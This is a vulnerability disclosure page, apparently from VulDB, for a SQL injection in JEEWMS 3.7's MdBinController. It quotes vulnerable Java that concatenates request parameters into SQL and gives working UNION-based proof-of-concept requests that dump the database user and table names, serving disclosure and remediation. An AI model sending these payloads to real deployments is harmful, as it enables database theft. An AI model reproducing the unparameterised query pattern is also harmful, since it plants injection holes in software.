| Titel | erzhongxmu JEEWMS 3.7 SQL Injection |
|---|
| Beschreibung | JEEWMS v3.7 contains a SQL injection vulnerability in MdBinController.java (lines 218-238 getbinall, 313-323 getbinallagv). Four request parameters - binstore, binid, des, cengshu - are concatenated directly into a native SQL query over the wv_bin_all view without parameterization:
String tsql = "select * from wv_bin_all ws where 1 = 1 ";
if (!StringUtil.isEmpty(req.getParameter("binid"))) {
tsql = tsql + " and ws.binid like '%" + req.getParameter("binid") + "%' ";
}
List<Map<String,Object>> resultt = systemService.findForJdbc(tsql);
Because findForJdbc returns the full result list, UNION-based injection directly echoes data in the JSON response. Verified end to end against a live deployment (8 columns in the view; column 2 "binid" reflects data):
PoC:
GET /mdBinController.do?getbinall&binid=1' and 1=2 union select 1,user(),3,4,5,6,7,8 -- -> response contains "binid":"root@localhost" (current DB user)
GET /mdBinController.do?getbinall&binid=1' and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema=database() -- -> all table names echoed in "binid" field
Affected endpoints:
GET /mdBinController.do?getbinall&binid=[INJECT]&binstore=[INJECT]&des=[INJECT]&cengshu=[INJECT]
GET /mdBinController.do?getbinallagv&binstore=[INJECT]&cengshu=[INJECT]
Vulnerable code file: src/main/java/com/zzjee/md/controller/MdBinController.java:218-238 |
|---|
| Quelle | ⚠️ https://github.com/erzhongxmu/JEEWMS |
|---|
| Benutzer | Lib0gus (UID 101005) |
|---|
| Einreichung | 04.09.2026 11:13 (vor 2 Monaten) |
|---|
| Moderieren | 11.10.2026 09:51 (1 month later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 416555 [erzhongxmu JEEWMS bis 2026.09.27-W39 MdBinController.java getbinall/getbinallagv binstore/binid/des/cengshu SQL Injection] |
|---|
| Punkte | 20 |
|---|